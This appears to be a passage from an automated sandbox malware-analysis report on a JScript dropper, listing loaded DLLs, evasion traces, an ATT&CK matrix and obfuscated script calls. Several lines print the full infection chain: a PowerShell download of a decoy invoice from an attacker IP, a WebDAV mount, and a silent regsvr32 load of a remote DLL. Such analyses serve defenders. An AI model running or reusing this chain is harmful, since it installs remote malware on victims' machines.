Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6649.js.csv");ITextStream.WriteLine(" entry:2455 f:akemqq");ITextStream.WriteLine(" exec:2 f:akemqq");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22kuvec%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20rzrutptjs%3Dthis%5Biusjnux%2Bfshtsjcpc%2Bzejztlb%2Byjfcxcusq%2Bzgvuu%2Byjpaho%2Bumgwvlafa%2Bomlthjx%5D(this%5Bqrnnpq%2Byilavc%2Byfqppta%2B");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49713

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4676			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4494			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6748	Thread sleep count: 4676 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2820	Thread sleep count: 4494 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5344	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4876	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1176	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1268	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2580	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4876	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2190935668.000001D08E59A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWLW\|
Source: net.exe, 00000007.00000002.2190935668.000001D08E59A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2190935668.000001D08E538000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3413504102.0000016EDFA58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3411760591.0000016EDA42B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3413504102.0000016EDFA4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
